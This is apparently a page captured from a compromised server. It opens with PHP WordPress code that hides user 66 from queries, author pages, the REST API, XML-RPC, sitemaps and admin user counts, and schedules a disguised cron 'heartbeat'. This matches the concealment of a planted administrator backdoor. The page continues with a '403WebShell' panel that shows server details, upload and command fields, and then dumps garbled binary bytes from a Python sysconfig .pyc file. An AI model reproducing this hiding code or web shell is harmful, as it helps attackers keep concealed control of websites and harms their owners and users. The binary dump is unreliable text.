add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/core22/current/usr/lib/python3.10/distutils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/current/usr/lib/python3.10/distutils/__pycache__/sysconfig.cpython-310.pyc
o

��bcu6�@sVdZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZ
mZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(e&�Z)ej*dkrbddlm+Z+ej,d	e-d
d�ddd
�Zee#dd�Z.eee)�Zeee)�Z/ddd�Z0dZ1zes�ej2Z1Wn	e3y�Ynwdd�Z4dd�Z5ddd�Z6ddd�Z7dS)a�Provide access to Python's configuration information.  The specific
configuration variables available depend heavily on the platform and
configuration.  The values may be retrieved using
get_config_var(name), and the list of variables is available via
get_config_vars().keys().  Additional convenience functions are also
available.

Written by:   Fred L. Drake, Jr.
Email:        <fdrake@acm.org>
�N)�partial�)�DistutilsPlatformError)�_PREFIX�_BASE_PREFIX�_EXEC_PREFIX�_BASE_EXEC_PREFIX�
_PROJECT_BASE�
_PYTHON_BUILD�_init_posix�parse_config_h�_init_non_posix�_is_python_source_dir�	_sys_home�_variable_rx�_findvar1_rx�_findvar2_rx�expand_makefile_vars�is_python_build�get_config_h_filename�get_config_var�get_config_vars�get_makefile_filename�get_python_version�nt)�_fix_pcbuildzCThe distutils.sysconfig module is deprecated, use sysconfig instead�)�
stacklevelcCst||d�S)N)�vars)�sysconfig_parse_config_h)�fp�g�r"�*/usr/lib/python3.10/distutils/sysconfig.pyrCsrT)�
check_homec	Cs�ddlm}||ddddd�}|duri}i}i}	|��}|dur#n@t�t|�}|rb|�dd�\}}	|	��}	|	�d	d
�}
d|
vrF|	||<nzt	|	�}	Wnt
y]|	�d	d�||<Ynw|	||<qd}|�r4t|�D]�}||}
t�t
|
�p}t�t|
�}|�r.|�d�}d}||vr�t||�}n>||vr�d
}n7|tjvr�tj|}n,||vr�|�d�r�|dd�|vr�d
}nd||vr�d
}nt|d|�}nd
||<}|�r-|
|��d�}|
d|���||}
d|vr�|
||<qlzt	|
�}
Wnt
�y|
��||<Ynw|
||<||=|�d��r-|dd�|v�r-|dd�}||v�r-|
||<ql||=ql|sh|��|��D]\}}	t|	t��rL|	��||<�q<|�|�|S)z�Parse a Makefile-style file.
    A dictionary containing name/value pairs is returned.  If an
    optional dictionary is passed in as the second argument, it is
    used instead of a new dictionary.
    r)�TextFiler�surrogateescape)�strip_comments�skip_blanks�
join_lines�errorsNTrz$$��$)�CFLAGS�LDFLAGS�CPPFLAGSF�PY_�)�distutils.text_filer%�readline�re�matchr�group�strip�replace�int�
ValueError�list�searchrr�str�os�environ�
startswith�end�start�close�items�
isinstance�update)�fnr!r%r �done�notdone�line�m�n�v�tmpv�renamed_variables�name�value�found�item�after�kr"r"r#�parse_makefileNs�
��


�
��2�
rVr+cCs�|jdk�rGtjdkrt�d�sddl}|�t�dtd<tddd	d
ddd
dddd�\}}}}}}}}	}
}}dtj	vr[tj	d}
tjdkrYdtj	vrY|�
|�rY|
|t|�d�}|
}dtj	vretj	d}t�
||gd�r|�dd�}|�dd�}|�dd�}dtj	vr�tj	d}dtj	vr�tj	d}n|d}dtj	vr�|dtj	d}n|r�|d|}d	tj	vr�|dtj	d	}|dtj	d	}n|r�|d|}|d|}dtj	vr�|dtj	d}|dtj	d}|dtj	d}n|
�r|d|
}|d|
}|d|
}d
tj	v�rtj	d
}dtj	v�r&|dtj	d}n|d|	}|d|}|j|||d|||||d�||_dSdS)z�Do any platform-specific customization of a CCompiler instance.

    Mainly needed on Unix, so we can plug in the information that
    varies across Unices and is stored in Python's Makefile.
    �unix�darwin�CUSTOMIZED_OSX_COMPILERrN�True�CC�CXXr-�CCSHARED�LDSHARED�SHLIB_SUFFIX�AR�ARFLAGS�CONFIGURE_CPPFLAGS�CONFIGURE_CFLAGS�CONFIGURE_LDFLAGSz	*-4.[0-8]z-fstack-protector-strongz-fstack-protector�CPPz -Er.� r/)�preprocessor�compiler�compiler_so�compiler_cxx�	linker_so�
linker_exe�archiver)�
compiler_type�sys�platform�_config_vars�get�_osx_support�customize_compilerrr>r?r@�len�fnmatch�filterr8�set_executables�shared_lib_extension)rhrs�cc�cxx�cflags�ccshared�ldshared�shlib_suffix�ar�ar_flags�configure_cppflags�configure_cflags�configure_ldflags�newcc�cpprm�cc_cmdr"r"r#rt�s�

	

��



�









�
	�rtcCstjtjkp
ttd�S)N�real_prefix)ro�base_prefix�prefix�hasattrr"r"r"r#�is_virtual_environmentsr�cCs�|dur
|rtp	t}tjdkrBtr&|rtptStj�t	d�d�}tj�
|�Sdt�t}ts:|r:ddl
}|�d�Stj�|d|�Stjd	krbtr[tj�|d�tjjtj�|d
�Stj�|d�Stdtj��)a�Return the directory containing installed Python header files.

    If 'plat_specific' is false (the default), this is the path to the
    non-platform-specific header files, i.e. Python.h and so on;
    otherwise, this is the path to platform-specific header files
    (namely pyconfig.h).

    If 'prefix' is supplied, use it instead of sys.base_prefix or
    sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
    N�posix�srcdir�Include�pythonr�platinclude�includer�PCzFI don't know where Python installs its C header files on platform '%s')�BASE_EXEC_PREFIX�BASE_PREFIXr>rP�python_buildr�project_base�path�joinr�normpathr�build_flags�	sysconfig�get_path�pathsepr)�
plat_specificr��incdir�
python_dirr�r"r"r#�get_python_inc!s0


���r�cCs�|p
tj�|�dv}|dur|r|rtpt}n|rtpt}tjdkrQ|s'|r+tj	}nd}tj�
||dt��}|r<|S|rJt�sJtj�
|ddd�Stj�
|d�Stjd	krg|r_tj�
|d
�Stj�
|d
d�St
dtj��)aSReturn the directory containing the Python library (standard or
    site additions).

    If 'plat_specific' is true, return the directory containing
    platform-specific modules, i.e. any module from a non-pure-Python
    module distribution; otherwise, return the platform-shared library
    directory.  If 'standard_lib' is true, return the directory
    containing standard Python library modules; otherwise, return the
    directory for site-specific modules.

    If 'prefix' is supplied, use it instead of sys.base_prefix or
    sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
    )z/usrz
/usr/localNr��libr��python3z
dist-packagesz
site-packagesr�Libz?I don't know where Python installs its library on platform '%s')r>r�r�r�r��EXEC_PREFIX�PREFIXrPro�
platlibdirr�rr�r)r��standard_libr��is_default_prefix�libdir�	libpythonr"r"r#�get_python_libLs4

�

��r�)N)rN)rrN)8�__doc__�_impr>r4ro�warningsrv�	functoolsrr*rr�rr�rr�rr�rr�r	r�r
r�r�sysconfig_init_posixrrr
rrrrrrrrrrrrrqrPr�warn�DeprecationWarning�
_python_build�_init_ntrVr��abiflags�AttributeErrorrtr�r�r�r"r"r"r#�<module>sF\
�



o��V
+

Youez - 2016 - github.com/yon3zu
LinuXploit